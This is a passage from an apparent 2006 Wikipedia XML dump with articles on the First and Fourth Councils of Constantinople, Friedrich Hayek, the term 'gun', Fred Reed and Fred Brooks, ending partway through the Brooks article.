      <text xml:space="preserve">{{Ecumenical council|council_name=First Council of Constantinople|council_date=[[381]]|accepted_by=[[Catholicism]], [[Eastern Orthodoxy]], [[Oriental Orthodoxy]], [[Assyrian Church of the East]],  [[Anglicanism]], [[Lutheranism]]||previous=[[First Council of Nicaea]]|next=[[Council of Ephesus]]|convoked_by=Emperor [[Theodosius I]]|presided_by=[[Timothy of Alexandria]], [[Meletius of Antioch]], [[Gregory Nazianzus]], and [[Nectarius of Constantinople|Nectarius]]|attendance=150 (no representation of Western Church)|topics=[[Arianism]], [[Apollinarism]], Saberianism, [[Holy Spirit]], successor to Meletius|documents=[[Nicene_Creed#The_Nicene_Creed_of_381|Nicene Creed of 381]], seven [[canon law|canon]]s (three disputed)}}
The '''First Council of Constantinople''' (second [[ecumenical council]]) was called by [[Theodosius I]] in [[381]] to confirm the [[Nicene Creed]] and deal with other matters of [[Arianism|the Arian controversy ]]. 

==Background==

The [[First Council of Nicaea | Council of Nicaea]] did not end the [[Arianism|Arian]] controversy which it had been called to clarify.  By [[327]] [[Emperor Constantine]] had begun to regret the decisions that had been made at the [[First Council of Nicaea | Nicene Council]].  He granted amnesty to the Arian leaders and exiled [[Athanasius]] because of [[Eusebius of Nicomedia]].  Even during numerous exiles, Athanasius continued to be a vigorous defender of [[Nicene Christianity]] against Arianism.  The [[Cappadocian Fathers]] also took up the torch, their Trinitarian discourse was influential in the council at [[Constantinople]].

Up until about [[360]], theological debates mainly dealt with the [[Christology|Divinity of Jesus]], the 2nd person of the [[Trinity]].  However, because the Council of Nicaea had not clarified the divinity of the [[Holy Spirit]], the 3rd person of the Trinity, it became a target for [[heretics]].  The [[Macedonians (religious group)|Macedonians]] denied the divinity of the Holy Spirit.  This was also known as [[Pneumatomachianism]].

==The proceedings==

[[Timothy of Alexandria]], [[Meletius of Antioch]], [[Gregory Nazianzus]], and [[Nectarius of Constantinople]] successively presided. Gregory Nazianzus was appointed [[List of Patriarchs of Constantinople|Patriarch of Constantinople]], but soon resigned from the position a few months later, and Nectarius was then put in his place.

The council affirmed the [[Nicene_creed#The_original_Nicene_Creed_of_325|original Nicene creed]] of faith as true and an accurate explanation of Scripture.  This council also developed a statement of faith which included the language of Nicea, but expanded the discussion on the Holy Spirit to combat heresies.  It is called the [[Nicene_creed#The_Nicene_Creed_of_381|Nicene Creed of 381]] and was a commentary on the original Nicene formula.  It expanded the 3rd article of the creed dealing with the [[Holy Spirit]], as well as some other changes, see [[Nicene_creed#Comparison_between_creed_of_325_and_creed_of_381]].  About the Holy Spirit the article of faith said he is &quot;the Lord, the Giver of Life, Who proceeds from the Father, With the Father and the Son he is worshipped and glorified&quot;.  The statement of proceeding from the Father is seen as significant because it established that the Holy Spirit must be of the same essence ([[ousia]]) as [[God the Father]].  

This Council's decision regarding the Holy Spirit also gave official endorsement to the concept of the [[Trinity]].  By the end of the 4th century, the [[Theodosius_I#Nicene_Christianity_becomes_the_state_religion|Byzantine Emperor Theodosius]] &quot;issued a decree that the doctrine of the Trinity was to be the offical state religion and that all subjects shall adhere to it&quot; (See [http://www.fsmitha.com/h1/ch24.htm &quot;Constantine, the first Christian emperor,&quot; Antiquity Online])

Seven [[canon law|canon]]s, four of these doctrinal canons and three disciplinary canons, are attributed to the Council and accepted by both the [[Eastern Orthodoxy|Eastern Orthodox Church]] and the [[Oriental Orthodoxy|Oriental Orthodox Churches]]; the [[Roman Catholic|Roman Catholic Church]] accepts only the first four[http://www.ccel.org/fathers2/NPNF2-14/Npnf2-14-59.htm#P3825_663549].

The first canon[http://www.ccel.org/fathers2/NPNF2-14/Npnf2-14-60.htm#P3837_667000] is an important dogmatic condemnation of all shades of Arianism, also of Macedonianism and Apollinarianism.

The second canon[http://www.ccel.org/fathers2/NPNF2-14/Npnf2-14-61.htm#P3886_685104] renews the Nicene legislation imposing upon the bishops the observance of diocesan and patriarchal limits.

The famous third canon[http://www.ccel.org/fathers2/NPNF2-14/Npnf2-14-61.htm#P3914_689786] declares that because [[Constantinople]] is [[New Rome]] the bishop of that city should have a pre-eminence of honour after the Bishop of Old Rome. Baronius wrongly maintained the non-authenticity of this canon, while some medieval Greeks maintained (an equally erroneous thesis) that it declared the [[Bishop of Constantinople]] in all things the equal of the [[Bishop of Rome]]. The purely human reason of Rome's ancient authority, suggested by this canon, was never admitted by the [[Roman Catholic Church]], which always based its claim to supremacy on the [[Apostolic Succession|succession]] of [[St. Peter]]. Nor did Rome easily acknowledge this reordering of rank among the ancient [[patriarchate]]s of the East. It was rejected by the [[Papal Legate]]s at the [[Council of Chalcedon]]. [[Pope Leo the Great]] (Ep. cvi in P.L., LIV, 1003, 1005) declared that this canon has never been submitted to Rome and that it was a violation of the Nicene order. At the [[Fourth Council of Constantinople]] in 869 the Roman legates ([[J. D. Mansi]], XVI, 174) acknowledged Constantinople as second in patriarchal rank. In 1215, at the [[Fourth Lateran Council]] (op. cit., XXII, 991), this was formally admitted for the new Latin patriarch, and in 1439, at the [[Council of Florence]], for the Greek patriarch (Hefele-Leclercq, Hist. des Conciles, II, 25-27). The Roman correctores of Gratian (1582), at dist. xxii, c. 3, insert the words: &quot;canon hic ex iis est quos apostolica Romana sedes a principio et longo post tempore non recipit.&quot;

The fourth canon[http://www.ccel.org/fathers2/NPNF2-14/Npnf2-14-61.htm#P3937_698189] declares invalid the consecration of [[Maximus of Constantinople]], the [[Cynic]] philosopher and rival of [[Gregory of Nazianzus]], as [[Bishop of Constantinople]].

The fifth canon[http://www.ccel.org/fathers2/NPNF2-14/Npnf2-14-61.htm#P3958_706331]
might have been passed the next year, 382, and is in regard to a ''Tome'' of the Western bishops, perhaps that of [[Pope Damasus I]].

The sixth canon[http://www.ccel.org/fathers2/NPNF2-14/Npnf2-14-61.htm#P3984_712263]
might belong to the year 382 as well and was passed at the [[Quinisext Council]] as #95 and limits the ability to accuse bishops of wrongdoing.

The seventh canon[http://www.ccel.org/fathers2/NPNF2-14/Npnf2-14-61.htm#P4014_722138]
regards procedures for admiting heretics into ''orthodoxy''.

[[Pope Damasus I]] was not invited (or declined to attend), thus sometimes this council is called the unecumenical council.  However, it was affirmed as ecumenical at the [[Council of Chalcedon]] in 451.

==Aftermath==

This council effectively handled [[Arianism]] and it began to die out with more condemnations at a council by [[Ambrose of Milan]] in [[381]]. With the discussion of [[Trinitarian]] doctrine now developed and well under agreement to orthodox and Biblical understanding, it led to [[Christology]].  Christology would be the topic of the [[Council of Ephesus]] of 431 and the [[Council of Chalcedon]] of 451.

==External links==
*[http://www.newadvent.org/cathen/04308a.htm Catholic Encyclopedia: First Council of Constantinople]


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  <page>
    <title>Fourth Council of Constantinople</title>
    <id>11644</id>
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      <text xml:space="preserve">{| border=&quot;1&quot; cellpadding=&quot;2&quot; cellspacing=&quot;0&quot; align=&quot;right&quot; width=&quot;400&quot;
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| colspan=&quot;2&quot; bgcolor=&quot;lightgreen&quot; style=&quot;font-size:120%&quot; align=&quot;center&quot;|'''''Fourth Council of Constantinople'''''
|-
|Date
|[[869]]-[[870]] '''or''' [[879]] - [[880]]
|-
|Accepted by
|[[Catholicism]] '''or''' [[Eastern Orthodoxy]]
|-
|Previous Council||[[Third Council of Constantinople]]
|-
|Next Council
|[[First Council of the Lateran]]
|-
|Convoked by||Emperor [[Basil I]] and [[Pope Adrian II]]
|-
|Presided by||papal legates
|-
|Attendance||20-25 (first session), 102 (last session)
|-
|Topics of discussion||[[Photius]]' patriarchate
|-
|Documents and statements||deposition of Photius, twenty-seven canons, including directives for behavior of bishops and the rights of patriarchs
|-
|colspan=&quot;2&quot; align=&quot;center&quot;|[[Ecumenical council|chronological list of Ecumenical councils]]
|}

The '''Fourth Council of Constantinople''' is considered an [[ecumenical council]] by [[Catholicism|Roman Catholics]] and met from [[October 5]], [[869]] to [[February 28]], [[870]].

It was called by Emperor [[Basil I]] the Macedonian and [[Pope Adrian II]]. It deposed and condemned [[Photius]] as patriarch and, of the four Eastern patriarchates, ranked [[patriarch of Constantinople|Constantinople]] before [[patriarch of Alexandria|Alexandria]], [[patriarch of Antioch|Antioch]], and [[Patriarch of Jerusalem|Jerusalem]].  [[Photius]] is now considered a [[saint]] of the [[Eastern Orthodox Church]]; in part for having refused to acquiesce to the decision of this council and what the Eastern Orthodox consider to have been overweening monarchical aspirations on the part of Rome's patriarch.

Photius is also considered a saint by [[Eastern Rite|Eastern Rite Catholics]] in the same manner as he is by the Orthodox. Among Eastern Catholics, he is remembered for the virtues of his personal life and his remarkable talents, even genius, and the wide range of his intellectual aptitudes.


==The &quot;Other&quot; Fourth Council of Constantinople==
Many theologians (and not a few bishops; see [[Encyclical of the Eastern Patriarchs]]) within the [[Eastern Orthodoxy|Orthodox Church]] consider the council of [[869]]-[[870]] to have been a [[Latrocinium|robber council]] and instead recognize the reunion council held at Constantinople in [[879]]-[[880]] as being the '''Eighth Ecumenical Council'''.  This latter council was originally accepted and fully endorsed by Rome (whose [[legate]]s were present), who in the 11th century repudiated it and retroactively regarded the council of [[869]]-[[870]] to be ecumenical.  The council of [[879]]-[[880]] restored St. [[Photius]] to his see and anathematized any who altered the [[Nicene Creed|Nicene-Constantinopolitan Creed]] (thus condemning the [[Filioque clause|Filioque]]).

== External links ==
*[http://www.newadvent.org/cathen/04310b.htm Catholic Encyclopedia: Fourth Council of Constantinople]
*[http://www.ccel.org/s/schaff/history/4_ch05.htm Schaff's Church History: Conflict of the Eastern and Western Churches]

For more on the council of [[879]]-[[880]], see also:  
* [http://www.geocities.com/trvalentine/orthodox/dragas_eighth.html The Eighth Ecumenical Council:  Constantinople IV (879/880) and the Condemnation of the ''Filioque'' Addition and Doctrine] by Protopresbyter George Dion Dragas
* [http://www.geocities.com/trvalentine/orthodox/8-9synods.html The Eighth and Ninth Ecumenical Councils]


[[Category:Byzantine Empire]]
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  <page>
    <title>F. A. Hayek</title>
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      <text xml:space="preserve">#REDIRECT [[Friedrich Hayek]]
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    <title>Friedrich Hayek</title>
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      <text xml:space="preserve">[[Image:FvonHayek.jpg|thumbnail|right|140px|Friedrich Hayek]]

'''Friedrich August von Hayek''' ([[May 8]], [[1899]] in [[Vienna]] &amp;ndash; [[March 23]], [[1992]] in [[Freiburg]]) was an [[Austria]]n [[economist]] and [[political philosophy|political philosopher]], noted for his defense of [[liberal democracy]] and [[free market|free-market capitalism]] against [[socialism|socialist]] and [[collectivism|collectivist]] thought in the mid-[[20th century]].  Widely regarded as one of the most influential members of the [[Austrian School]] of economics, he also made significant contributions in the fields of [[jurisprudence]] and [[cognitive science]].  He shared the [[1974]] [[Bank of Sweden Prize in Economic Sciences in Memory of Alfred Nobel|Nobel Memorial Prize in Economics]] with ideological rival [[Gunnar Myrdal]].

== Life ==
{{Libertarianism}}

Hayek was born in [[Vienna]] to a [[Catholic]] family of prominent intellectuals.  At the [[University of Vienna]] he received [[doctorate]]s in law and political science in [[1921]] and [[1923]] respectively, and he also studied [[psychology]] and economics with keen interest.  Initially sympathetic to socialism, Hayek's economic thinking was transformed during his student years in Vienna through attending [[Ludwig von Mises]]' private seminars along with [[Fritz Machlup]] and other young students.

Hayek worked as a research assistant to Prof. [[Jeremiah Jenks]] of [[New York University]] from [[1923]] to [[1924]].  He then served as director of the newly formed Austrian Institute for Business Cycle Research before joining the faculty of the [[London School of Economics]] at the behest of [[Lionel Robbins]] in [[1931]].  Unwilling to return to Austria after its annexation to [[Nazi]] [[Germany]], Hayek became a [[United Kingdom|British]] [[British nationality law|citizen]] in [[1938]].

In the early [[1940s]], Hayek enjoyed a considerable reputation as a leading economic theorist.   But after the end of [[World War II]], Hayek's ''[[laissez-faire]]'' doctrines were challenged by [[John Maynard Keynes]] and others who argued for active government intervention in economic affairs. The debate between the two schools of thought remains unresolved today, with Hayek's position gaining currency since the late 1970s.  In 1950 Hayek left the [[London School of Economics]] for the [[University of Chicago]], becoming a professor in the [[Committee on Social Thought]].  He remained there until [[1962]].  From 1962 until his retirement in [[1968]], he was a professor at the [[Albert Ludwigs University of Freiburg|University of Freiburg]].  Later he was a visiting professor at the [[University of Salzburg]]. Hayek died in 1992 in Freiburg, Germany.

== Work ==
===The economic calculation problem===
Hayek was one of the leading academic critics of collectivism in the 20th century. Hayek believed that all forms of collectivism (even those theoretically based on voluntary cooperation) could only be maintained by a central authority of some kind. In his popular book, ''[[The Road to Serfdom]]'' ([[1944]]) and in subsequent works, Hayek claimed that socialism required central economic planning and that such planning in turn had a strong probability of leading towards [[totalitarianism]], because the central authority would have to be endowed with powers that would impact social life as well. 

Building on the earlier work of Mises and others, Hayek also argued that in centrally-planned economies an individual or a select group of individuals must determine the distribution of resources, but that these planners will never have enough information to carry out this allocation reliably.  The efficient exchange and use of resources, Hayek claimed, can be maintained only through the [[price]] mechanism in free markets (see [[economic calculation problem]]).  In ''The Use of Knowledge in Society'' ([[1945]]), Hayek argued that the price mechanism serves to share and synchronize local and personal knowledge, allowing society's members to achieve diverse, complicated ends through a principle of spontaneous [[self-organization]]. He coined the term [[catallaxy]] to describe a &quot;self-organizing system of voluntary co-operation.&quot;

In Hayek's view, the central role of the state should be to maintain the [[rule of law]], with as little arbitrary intervention as possible.  Hayek conceded that when competition is not possible (or, more rarely, when competition does not provide efficient outcomes) some degree of direct government control becomes necessary.  He also argued that social services are a paramount duty of the state but they should not interfere with the principle of economic competition.

===Spontaneous order===
Hayek viewed the [[price]] mechanism, not as a conscious invention (that which is intentionally designed by man), but as spontaneous order, or what is referred to as &quot;that which is the result of human action but not of human design&quot;. Thus, Hayek put the price mechanism on the same level as, for example, [[language]]. Such thinking led him to speculate on how the [[human]] [[brain]] could accommodate this evolved behavior.  In ''The Sensory Order'' ([[1952]]), he proposed, independently of [[Donald Olding Hebb|Donald Hebb]], the [[connectionism|connectionist]] hypothesis that forms the basis of the technology of [[neural networks]] and of much of modern [[neurophysiology]].  

Hayek attributed the birth of civilization to [[private property]] in his book ''[[The Fatal Conceit]]'' ([[1988]]). According to him, price signals are the only possible way to let each economic decision maker communicate [[tacit knowledge]] or [[dispersed knowledge]] to each other, in order to solve the [[economic calculation problem]].

===The business cycle===
Hayek's writings on [[capital (economics)|capital]], [[money]], and the [[business cycle]] are widely regarded as his most important contributions to economics. [[Ludwig von Mises|Mises]] had earlier explained monetary and banking theory in his ''Theory of Money and Credit'' (1912), applying the [[marginal utility]] principle to the value of money and then proposing a new theory of industrial fluctuations based on the concepts of the [[British Currency School]] and the ideas of the Swedish economist [[Knut Wicksell]]. Hayek used this body of work as a starting point for his own interpretation of the business cycle, which defended what later become known as the &quot;[[Austrian business cycle theory]]&quot;. In his ''Prices and Production'' (1931) and ''The Pure Theory of Capital'' (1941) he explained the origin of the business cycle in terms of [[central bank]] [[credit expansion]] and its transmission over time in terms of capital misallocation caused by artificially low [[interest rate]]s.

The &quot;Austrian business cycle theory&quot; has been criticized by advocates of [[rational expectations]] and other components of [[neoclassical economics]], who point to the [[neutrality of money]] and to the [[real business cycle]] theory as providing a sounder understanding of the phenomenon.  Hayek, in his [[1939]] book ''Profits, Interest and Investment,'' distanced himself from other theorists of the [[Austrian School]], such as Mises and [[Murray Rothbard|Rothbard]], in beginning to shun the wholly monetary theory of the business cycle in favor of a more eccentric understanding based more on profits than on interest rates. Hayek explicitly notes that most of the more accurate explanations of the business cycle place more emphasis on ''real'' instead of nominal variables. He also notes that this more eccentric explanation model of the business cycle which he proposes cannot be wholly reconciled with any specific Austrian theory.

=== Social and political philosophy===
While known more as an economist than a philosopher, in the latter half of his career Hayek made a number of contributions to [[social philosophy|social]] and [[political philosophy]], derived largely from his views on the limits of human knowledge[http://www.econlib.org/library/Essays/hykKnw1.html], and the role played by his ''spontaneous order'' in social institutions. His arguments in favor of a society organized around a market order (in which the apparatus of state is employed solely to secure the peace necessary for a market of free individuals to function) were informed by a [[moral philosophy]] derived from [[epistemology|epistemological]] concerns regarding the inherent limits of human knowledge. In his [[philosophy of science]], Hayek was highly critical of what he termed ''[[scientism]]''&amp;mdash;abuses of the methods of science in the attempt to justify inherently unknowable propositions, particularly in the fields of [[social science]], [[economics]] and [[economic history]] (see ''The Counter-Revolution of Science: Studies in the Abuse of Reason'', [[1952]]). In ''The Sensory Order: An Inquiry into the Foundations of Theoretical Psychology'' ([[1952]]), he develops his [[social theory]] of spontaneous order into a bold [[philosophy of mind]] which has recently become the focus of a renewed level of interest within the fields of [[cognitive science]] and [[evolutionary psychology]].

== Hayek and conservatism ==
An academic outcast for much of his career, Hayek attracted new attention in the 1980s and 1990s with the rise of conservative governments in the [[United States]] and the [[United Kingdom]].  [[Margaret Thatcher]], the [[Conservative Party (UK)|Conservative]] British prime minister from [[1979]] to [[1990]], was an outspoken ''devotée'' of Hayek's writings.  Shortly after Thatcher became Leader of the [[Conservative Party (UK)|Conservative Party]], she &quot;reached into her briefcase and took out a book. It was Friedrich von Hayek's ''[[The Constitution of Liberty]]''. Interrupting [the speaker], she held the book up for all of us to see. 'This', she said sternly, 'is what we believe', and banged Hayek down on the table.&quot;  (John Ranelagh, ''Thatcher's People:  An Insider's Account of the Politics, the Power, and the Personalities.''  London:  HarperCollins, 1991.)

Hayek wrote an essay entitled ''Why I Am Not a Conservative'' [http://www.geocities.com/ecocorner/intelarea/fah1.html], (included as an appendix to ''The Constitution of Liberty'') in which he disparaged [[conservatism]] for its inability to adapt to changing human realities or to offer a positive political program.  His criticism was aimed primarily at the European-style conservatism, which has often opposed [[capitalism]] as a threat to social stability and traditional values. Hayek identified himself as a [[classical liberal]], but noted that in the United States it had become almost impossible to use &quot;liberal&quot; in the older sense that he gave to the term.  In the U.S., Hayek is usually described as a &quot;[[libertarianism|libertarian]]&quot;, but the denomination that he preferred was &quot;Old [[Whig]]&quot; (a phrase borrowed from [[Edmund Burke]]).

== Influence and recognition ==
{{liberalism}}
By [[1947]], Hayek was the chief organizer of the [[Mont Pelerin Society]], a group of classical liberals who sought to oppose what they saw as &quot;socialism&quot; in various areas. For many years their efforts remained on the intellectual fringes, but they have received increasing attention over the past 30 years.

In his speech at the [[1974]] [[Nobel Prize]] banquet, Hayek, whose work emphasized the fallibility of individual knowledge about economic and social arrangements, expressed his misgivings about promoting the perception of economics as a strict science on par with [[physics]], [[chemistry]], or [[medicine]] (the academic disciplines recognized by the original Nobel Prizes).

While there is some dispute as to the matter of influence, Hayek had a long standing and close friendship with philosopher of science [[Karl Popper]], also from Vienna. Each found support and similarities in each other's work and cited each other often, though not without qualification. In a letter to Hayek in [[1944]], Popper stated, &quot;I think I have learnt more from you than from any other living thinker, except perhaps [[Alfred Tarski]].&quot; (See Hacohen, 2000). Popper dedicated his ''Conjectures and Refutations'' to Hayek. For his part, Hayek dedicated a collection of papers, ''Studies in Philosophy, Politics, and Economics'', to Popper, and in [[1982]] said, &quot;...ever since his ''Logik der Forschung'' first came out in [[1934]], I have been a complete adherent to his general theory of methodology.&quot; (See Weimer and Palermo, 1982).  Popper was also a participant at the 1947 inaugural meeting of the Mont Pelerin Society, organized by Hayek.

Even after his death, Hayek maintained a significant intellectual presence in the universities where he had taught:  the London School of Economics, the University of Chicago, and the University of Freiburg.  A student-run group, the LSE [[Hayek Society]], was established in his honor.  At [[Oxford University]], there is also a [[Oxford Hayek Society|Hayek Society]]. The [[Cato Institute]], one of Washington, D.C.'s leading think tanks, named its lower level auditorium after Hayek, who had been a Distinguished Senior Fellow at Cato during his later years.

==Selected Bibliography==

* ''Monetary Theory and the Trade Cycle'', 1929.
* ''Prices and Production'', 1931.
* ''Profits, Interest and Investment: And other essays on the theory of industrial fluctuations'', 1939.
* ''The Road to Serfdom'', 1945.
* ''The Constitution of Liberty'', 1960.

==References==
* Hacohen, M. ''Karl Popper: The Formative Years, 1902 – 1945''. Cambridge: Cambridge University Press, [[2000]].
* Weimer, W., Palermo, D., eds. ''Cognition and the Symbolic Processes''. Hillsdale, NJ: Lawrence Erlbaum Associates. [[1982]]. See Hayek's essay, &quot;''The Sensory Order'' after 25 Years&quot;, and &quot;Discussion&quot;.

==See also==
*[[List of Austrian Scientists]]
*[[List of Austrians]]
*[[Austrian School|Austrian School of economics]]
*[[Liberalism in Austria]]

==External links==
{{wikiquote}} 
* [http://www.mises.org/content/hayekbio.asp Bio from the Ludwig von Mises Institute]
* [http://www.hayekcenter.org The Hayek Scholar's Page]
* [http://www.friesian.com/hayek.htm Hayek's influence on Friesian philosophy]
* [http://nobelprize.org/economics/laureates/1974/ Official 1974 Nobel Prize page]
* [http://www.econlib.org/library/Enc/bios/Hayek.html Bio and online works] on Econlib
* [http://revver.com/video/10904 The Road to Serfdom in Five Minutes] Hayek's book, as illustrated by Look Magazine, condensed into a 5-minute movie
* [http://dmoz.org/Science/Social_Sciences/Economics/Schools_of_Thought/Austrian_School/People/Hayek,_F._A/ Hayek, F. A] Directory of links on Hayek from the Open Source Directory
* [http://www.adamsmith.org/hayek/ F A Hayek] on the [http://www.adamsmith.org/ Adam Smith Institute] website
* [http://www.hayek.de/frames/biographie.html Hayek Bio at hayek.de]
* [http://www.reason.com/0406/fe.jr.objections.shtml Reason magazine's article on what Hayek might think of gay marriage] (describes the conservatism vs. liberalism dispute)
* [http://reality.gn.apc.org/econ/hayek.htm Information and Economics: A critique of Hayek] essay included in the book [http://ricardo.ecn.wfu.edu/~cottrell/socialism_book/new_socialism.pdf ''Towards a New Socialism''] [http://www.mises.org/journals/qjae/pdf/qjae7_1_6.pdf reviewed] by the hayekian Len Brewster
* [http://www.econ-pol.unisi.it/pubdocenti/HEI99.pdf The economics of information, market socialism and Hayek's legacy]
* [http://cob.jmu.edu/rossermv/Caldwell.pdf Hayek and Socialism]
* [http://www.deregulo.com/facetation/pdfs/marketDynamicsOfSpeculation.pdf The Market Dynamics of Speculation: Hayekian Market Signals and the Rise of the Culture Industries]
* [http://hayeklinks.causaliberal.net/ Hayek Links] The most extensive list of links on Hayek
* [http://www.oxford-hayek.org/ Oxford Hayek Society]

[[Category:1899 births|Hayek, Friedrich von]]
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    <title>Gun</title>
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      <text xml:space="preserve">{{otheruses}}

[[Image:Howitzer_firing.jpg|thumb|right|300px|155 mm [[M198 howitzer]]]]
[[Image:CSA-2006-01-12-095303.jpg|thumb|300px|U.S. Army soldier with a compact [[M249]] variant]]
[[Image:Uss iowa bb-61 pr.jpg|300px|right|thumb|[[USS Iowa (BB-61)]] fires a full broadside of nine 16&quot;/50 and six 5&quot;/38 guns during a target exercise near [[Vieques, Puerto Rico|Vieques Island, Puerto Rico]], 1 July 1984.]]
&lt;!-- Unsourced image removed: [[Image:Ariete 1.jpg |thumb|300px|The gun on the modern Italian [[Ariete]] tank is equipped with a fume extractor, barrel jacket, and muzzle reference system.]] --&gt;

A '''gun''' is a mechanical device that fires [[projectile]]s at high velocity, using a propellant such as [[gun powder]] or compressed air. The projectile, usually rated under various sizes, such as &quot;caliber&quot; or &quot;millimeter&quot;, are fired through a hollow tube known as the gun's barrel. Related to [[musket]]s, the modern gun is more advanced in technology.

The term '''gun''' is often used as a synonym to [[firearm]], but in its more technical usage refers only to [[artillery]] that fires projectiles at a high velocity along a flat trajectory, such as [[field guns]], [[tank gun]]s and [[anti-tank gun]]s, and [[naval artillery|naval guns]]. [[Howitzer]]s, [[mortar (weapon)|mortar]]s, and all hand-held firearms are excluded from this definition. The exception to this is the [[shotgun]], which is hand-held, has a smooth bore and fires a [[Cartridge (firearms)|cartridge]] of [[pellet]]s.

See the related article on [[firearm]]s for information on weapons informally known as guns.

The word '''gun''' is also applied to some more or less vaguely gun-like [[tool]]s, such as [[staple gun|staple guns]] and [[glue]] guns.

In a [[gun-type fission weapon]] the &quot;gun&quot; is part of a [[nuclear weapon]]. The &quot;projectile&quot; is [[fissile material]] that is fired and captured inside the device. In the case of [[nuclear artillery]] it should not be confused with the gun that fires the whole warhead.

At times, the word gun is used to describe the person holding the weapon rather than the weapon itself, as in &quot;a hired gun&quot;.

Etymology: &quot;gun&quot; is found in [[Middle English]] as &quot;gonne&quot;, and seems to come from the [[Germanic languages|Germanic]] woman's name [[Gunhild]] or [[Gundhild]] = &quot;war sword&quot;, applied to an early [[cannon]].

==See also==
'''''See [[Firearm]] for the main rifle and gun page.'''''

==Gun Related topics==
===Types of weapons===
{|
|- valign=top
| width=&quot;33%&quot; |
*[[Airsoft Gun]]
*[[Anti-materiel rifle|Anti-Materiel Rifle]]
*[[Anti-Tank Rifle]]
*[[Arquebus]]
*[[Artillery]]
*[[Assault rifle]]
*[[Autocannon]]
*[[Blowgun]]
*[[Brown Bess]]
*[[Cannon]]
*[[Carbine]]
*[[Charleville musket]]
*[[Combat shotgun]]
*[[Derringer]]
*[[Directed Energy Weapons]]
*[[Duelling pistol]]
*[[Electroshock gun]]
*[[Flintlock]]
| width=&quot;33%&quot; |
*[[Gatling gun]]
*[[Gonne]]
*[[Gyrojet]]
*[[Handgun]] 
*[[Howitzer]]
*[[Light gas gun]]
*[[Long gun]] 
*[[Machine gun]]
*[[Machine pistol]]
*[[Matchlock]]
*[[Metal Storm]]
*[[Mortar (weapon)|Mortar]]
*[[Musket]]
*[[Muzzle-loader]]
*[[Paintball gun]]
*[[Pistol]]
*[[Pneumatic]]
*[[Railgun]]
*[[Recoilless rifle]]
*[[Revolver]]
| width=&quot;33%&quot; |
*[[Rifle]]
*[[Saturday night special]]
*[[Sawn-off shotgun]]
*[[Semi-automatic handgun|Semi-automatic/self-loading pistol]]
*[[Semi-automatic rifle]]
*[[Shotgun]]
*[[Suppressor |Silenced]]
*[[Single-shot]]
*[[Small arms]]
*[[Smart Gun]]
*[[Smoothbore]]
*[[Sniper rifle]]
*[[Squirt gun]]
*[[Submachine gun]]
*[[Supergun]]
*[[Wheellock]]
*[[Tank gun]]
|}

===Theory===
*[[Ballistics]]
*[[Electrothermal-chemical technology]]
*[[Firearm action]]
*[[Optics]]
*[[Physics of firearms]]
*[[Rheological fluids based firearms mechanisms]]
*[[Terminal ballistics]]
*[[Stopping Power]]

===Politics and society===
*[[Gun culture]]
*[[Gun law]]
*[[Gun politics]]
*[[Gun safety]]
*[[Non-violence]]

===Lists===
{{wikiquote}}
*[[List of aircraft weapons]]
*[[List of common WWII weapons]]
*[[List of crew served weapons of the US Armed Forces]]
*[[List of firearms]]
*[[List of individual weapons of the US Armed Forces]]
*[[List of modern armament manufacturers]]
*[[List of prototype WWII weapons]]
*[[List of secondary and special issue WWII weapons]]
*[[List of submachine guns]]
*[[Lists of weapons in video games]]
*[[Military technology and equipment]]

[[Category:Firearms]]
[[fa:&amp;#1578;&amp;#1601;&amp;#1606;&amp;#1711;]]
[[simple:gun]]
[[ja:銃]]
[[fi:tykki]]
[[simple:gun]]
[[vi:Súng]]</text>
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  </page>
  <page>
    <title>Fred Reed</title>
    <id>11651</id>
    <revision>
      <id>40363628</id>
      <timestamp>2006-02-20T01:51:55Z</timestamp>
      <contributor>
        <username>Rich Farmbrough</username>
        <id>82835</id>
      </contributor>
      <minor />
      <comment>External links per MoS.</comment>
      <text xml:space="preserve">{{dablink|For the poet working mainly in the [[Northumbrian]] dialect of English, see [[Fred Reed (Poet)]].}}

'''Fred Reed''' is a columnist for ''[[The Washington Times]].''  A former [[United States Marine Corps|Marine]], Reed is a [[wiktionary:streetwise|streety]] [[police]] writer, an occasional [[war correspondent]], and an aficionado of [[wiktionary:raffish|raffish]] bars.  His often satirical and opinionated columns are released weekly.

Reed notes that his columns are often provocative, and calls himself &quot;an equal-opportunity irritant.&quot;

Fred's output defies characterization as his articles include those attacking [[feminism]] (generally the proviso of the [[Right-wing politics|right]]), [[George W. Bush]] (generally the proviso of the [[Left-wing politics|left]]) and [[evolution]] (generally the proviso of [[religious fundamentalist]]s).  Many of Reed's articles speak of a yearning for a simpler time, and urge the reader to forgo the pursuit of money and comforts in favor of a cultured life of the mind.  Reed is currently living in [[Mexico]] as an American [[expatriate]].

==External links==

* [http://www.fredoneverything.net/ Fred's articles online]

{{journalist-stub}}

[[Category:American journalists|Reed, Fred]]</text>
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  </page>
  <page>
    <title>Fred Brooks</title>
    <id>11652</id>
    <revision>
      <id>40699971</id>
      <timestamp>2006-02-22T11:38:24Z</timestamp>
      <contributor>
        <username>Phil Boswell</username>
        <id>24373</id>
      </contributor>
      <comment>[[WP:AWB|AWB assisted]] migrate {{[[template:book reference|book reference]]}} to {{[[template:cite book|cite book]]}}</comment>
      <text xml:space="preserve">'''Frederick Phillips Brooks, Jr.''' (born [[April 19]], [[1931]]) is a [[software engineer]] and [[computer scientist]], best-known for managing the development of [[OS/360]], then later writing candidly about the process in his seminal book ''[[The Mythical Man-Month]]''. &quot;It is a very humbling experience to make a multi-million-dollar mistake, but it is also very memorable.&quot;  Brooks received a [[Turing Award]] in [[1999]].

Born in [[Durham, North Carolina]], he attended [[Duke University]], graduating in [[1953]], and he received a [[Doctor of Philosophy|Ph.D.]] in Applied Mathematics (Computer Science) from [[Harvard University]] in [[1956]].  [[Howard Aiken]] was his advisor.

Brooks joined [[International Business Machines|IBM]] in 1956, working in [[Poughkeepsie (city), New York|Poughkeepsie]] and [[Yorktown, New York]]. He worked on the architecture of the [[IBM 7030|Stretch]] (a $10m scientific supercomputer for the [[Los Alamos Scientific Laboratory]]) and [[Harvest (computer)|Harvest]] computers and then was manager for the development of the [[System/360]] family of computers and the [[OS/360]] software they ran. 

It was in ''The Mythical Man-Month'' that Brooks made the now-famous statement: &quot;Adding people to a late software project makes it later.&quot; This has since come to be known as &quot;[[Brooks' law]].&quot;
In addition to ''The Mythical Man-Month'', Brooks is known for ''[[No Silver Bullet]]'', an essay on software engineering.

In 1965, Brooks left IBM to found the Department of Computer Science at the [[University of North Carolina at Chapel Hill]] and chaired it for 20 years. [[As of 2004]] he was still engaged in active research there, primarily in [[virtual reality|virtual world]]s and [[molecular graphics]].
